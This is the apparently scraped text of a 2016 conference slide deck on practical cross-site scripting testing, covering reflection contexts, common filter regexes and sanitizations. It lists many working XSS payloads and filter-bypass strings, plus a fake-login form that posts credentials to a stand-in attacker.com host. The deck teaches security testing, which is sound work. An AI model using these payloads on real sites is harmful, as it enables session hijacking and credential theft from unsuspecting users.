Non-Esoteric XSS Tips & Tricks

Non-Esoteric XSSNon-Esoteric XSS
Tips & TricksTips & Tricks
Miroslav Štampar
(mstampar@zsis.hr; miroslav@sqlmap.org)
Non-Esoteric XSSNon-Esoteric XSS
Tips & TricksTips & Tricks
Miroslav Štampar
(mstampar@zsis.hr; miroslav@sqlmap.org)

FSec – FOI 2016, Varaždin (Croatia) September 15th, 2016 2
XSS (Cross-Site Scripting)XSS (Cross-Site Scripting)
Injection attack against usersagainst users of (otherwise)
benign and trusted web sites
Used mostly in targetedtargeted attacks (e.g. spear-
phishing against administrators)
For example, an attacker can send a link with
malicious JavascriptJavascript (JS) code to an
unsuspecting user
The user’s browser has no way to know that
the link should not be trusted and will execute
the JS blindly – effectively giving access to
cookies, session tokens or other sensitive
information within browsing contextwithin browsing context

Real-world (known) casesReal-world (known) cases

More about vulnerabilityMore about vulnerability
Considered as criticalcritical vulnerability, hence
(often) well paid in bug bounty programs
Failure to (properly) sanitize/filtersanitize/filter any of: <, >,
', " inside the response can introduce the
vulnerability
While testing, responses for user supplied values
are being inspected for signs of the vulnerability
(e.g. response returning values in originaloriginal form)
Provoking JS pop-up boxpop-up box with custom message
(e.g. XSS) is universally accepted as a Proof of
Concept (PoC) for existence of vulnerability
Types: storedstored (persisting), reflectedreflected
(temporary) and DOM-basedDOM-based (in-browser)

Food for thought :)Food for thought :)

Testing workflowTesting workflow
1) Find reflecting inputinput points
(e.g. page's GET parameter values)
2) Recognize contextcontext of reflection
(e.g. inside <script>...</script>)
3) BypassBypass sanitization/filtering and/or
protection mechanism(s)
(Note: if possible and/or required)
4) Write vulnerability exploitation PoCPoC
(e.g. ...alert('XSS')...)

Practical example (PoC)Practical example (PoC)

Protection mechanism(s)Protection mechanism(s)
Common (XSS) detection regular expressions:
●
/<[az]/i - (e.g.) <svg, <img - though, there are
cases where “benign” tags as <a> are left un-
blacklisted
●
/b(java)?scriptb/i - (e.g.) <script, <img
src="javascript:, etc.
●
/bonw+s*=/i - (e.g.) <img src=null
onerror=... - though, there are cases where
<marquee's onstart( is left un-blacklisted
●
/bsrcs*=/i - (e.g.) <embed src=..., etc.
●
/bw+(/i - (e.g.) alert( - though, there are
cases where confirm( is left un-blacklisted

Sanitization mechanism(s)Sanitization mechanism(s)
Common (XSS) server response sanitizations:
●
Removing all special characters - (e.g.)
foo<'">bar → foobar
●
Replacing with whitespace all special characters -
(e.g.) foo<'">bar → foo bar
●
HTML named entity encoding - (e.g.) foo<'">bar
→ foo<'">bar
●
HTML numeric code point encoding - (e.g.)
foo<'">bar → foo<'">bar
●
Backslash escaping all special characters - (e.g.)
foo<'">bar → foo<'">bar (Note: <script>)
●
Uppercase conversion - (e.g.) foo<'">bar →
FOO'"BAR (combined with another mechanism(s))

Break-out of <tag...> context with > OR onXXX
event handler injection
?vuln="><svg onload=alert(/XSS/)>
?vuln=" onclick="alert(/XSS/)
Usability is highly dependent on context and
available <tag> events
(e.g.) Tags having visibility: hidden require
breaking out of <tag...> context
<tag...><tag...> ((|more|more))

<tag...><tag...> ((|more|more))
Even though attacker's options inside <tag> are
pretty narrowed (e.g. user interaction
required), (ab)using CSS with style can help
?vuln=" onmouseover=alert(/XSS/)
style="display: block; position: absolute;
left: 0; top: 0; height: 10000px; width:
10000px; opacity: 0; cursor: default

>...<>...<
Injecting outside of <tag> context and/or scope
(e.g. </script>...) requires unfiltered < and >
Proper “Contenttype” (e.g. “text/html”) is
required, as in all XSS (reflected) cases (e.g.
“application/json” is of no interest)
?vuln=<img src=null onerror=alert(/XSS/)>
?vuln=<script>alert(/XSS/)</script>

<!...><!...>
Requires breaking-out of <!...> (i.e. HTML
comment) context with >
Common for (custom) sites with debugging
support turned ON (e.g. returning used SQL
query inside comment)
?vuln=><svg onload=alert(/XSS/)>
As it explicitly requires usage of <tag> it is
fairly common to end up as unexploitable (e.g.
protections are trigger happy on occurrence(s)
of <[azAZ] inside parameter values)

<frame ...><frame ...>
Injecting custom <frame> OR onload event
handler injection (prefered)
?vuln="><frame
src="data:text/html;base64,PHNjcmlwdD5hbGVy
dCgnWFNTJyk8L3NjcmlwdD4
?vuln=" onload="alert(/XSS/)
Note: Non-<frame> tags can't be used because
of <frameset> restrictions

<input...><input...>
Break-out of <input...> context with > OR
onfocus event handler injection (prefered)
?vuln=1"><svg onload=alert(/XSS/)>
?vuln=1" autofocus onfocus="alert(/XSS/)

<input type<input type="hidden"="hidden"...>...>
In hidden <input> cases, combined with
inability to break-out of <input...> context
(due to filtering of <>), regular onXXX event
handler injection doesn't work
Though, accesskey attribute can be (ab)used to
make the user-assisted XSS payload (Alt
Shift<key>)
?vuln=" accesskey="X" onclick="alert(
/XSS/)

echo $_SERVER['PHP_SELF']echo $_SERVER['PHP_SELF']
Common finding even on top sites and/or
frameworks
Non-sanitized reference of current script's path
http://...php/"><svg onload="alert(/XSS/)
Not PHP-specific (though more common)
Note: JS injection in path often require manual
URL encoding of non-alphanumeric characters

<textarea> <textarea> andand <title> <title>
Injection into <textarea> and <title>
enclosings require explicit (respectable)
closing tagsclosing tags (i.e. </textarea> and </title>)
Important to note because of automatized
scanners (majority don't check the context)
<style> is also problematic, though in case of
Internet Explorer CSS expression can be
(ab)used
?vuln=</textarea><svg onload=alert(/XSS/)>

$_POST$_POST
Though not exploitable directly from link (i.e.
address bar), it is a perfectly valid attack point
Requires malicious HTMLmalicious HTML document that has
to be loaded inside the victim's web browser
Either a standalone HTML OR a link that points
to the attacker's site hosting the HTML
document

Protection(s) bypasses (Protection(s) bypasses (|more|more))
<svg/onload=alert(/XSS/)>
prompt`XSS`
onerror=confirm;throw/XSS/;
document.write(String.fromCharCode(60,
115,99,114,105,112,116,62,97,...
[][(![]+[])[+[]]+([![]]+[][... // JSFuck
<SCRIPT SRC=//DOMAIN.COM/XSS.JS></SCRIPT>
<embed src=data:image/svg+xml;base64,
PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cuM...
<object data=data:text/html;base64,...
<video/poster/onerror=alert(/XSS/)>
</i/style=left:expression(alert('XSS'))>

Protection(s) bypasses (Protection(s) bypasses (|more|more))
<iframe src=javascript:alert('XSS')>
<isindex type=submit formaction=&#106
&#97&#118&#97&#115&#99&#114&#105&#112...
<isindex type=image src=null
onerror=alert(/XSS/)>
<iframe/srcdoc=<svg/onload=
alert("XSS")>>
<img src=null
onerror=u0061u006cu0065u0072u0074&lpar
;"u0058u0053u0053")>
<body style=height:9999px
onwheel=prompt(/XSS/)>
<marquee onstart=confirm(/XSS/)>

In cases when Javascript injection (i.e. XSS) is
not possible, HTML injection is also a valid
attack point – though, not as valuable
Most common scenario is the usage of
protection mechanism(s), while lacking any
sanitization/filtering whatsoever
“Evil link” scenario – (e.g.)
“Fake login” scenario – (e.g.) <form
action="//www.attacker.com/steal.php">...
“Fake defacement” scenario – (e.g.) <h1>This
site has been hacked by l33tcr3w</h1>
p.s. HTML injectionp.s. HTML injection

www.openbugbounty.org
html5sec.org
p.p.s. Recommended resourcesp.p.s. Recommended resources

Questions?Questions?

Non-Esoteric XSS Tips & Tricks

More Related Content

Viewers also liked (20)

Similar to Non-Esoteric XSS Tips & Tricks (20)

More from Miroslav Stampar (9)

Recently uploaded (20)

Non-Esoteric XSS Tips & Tricks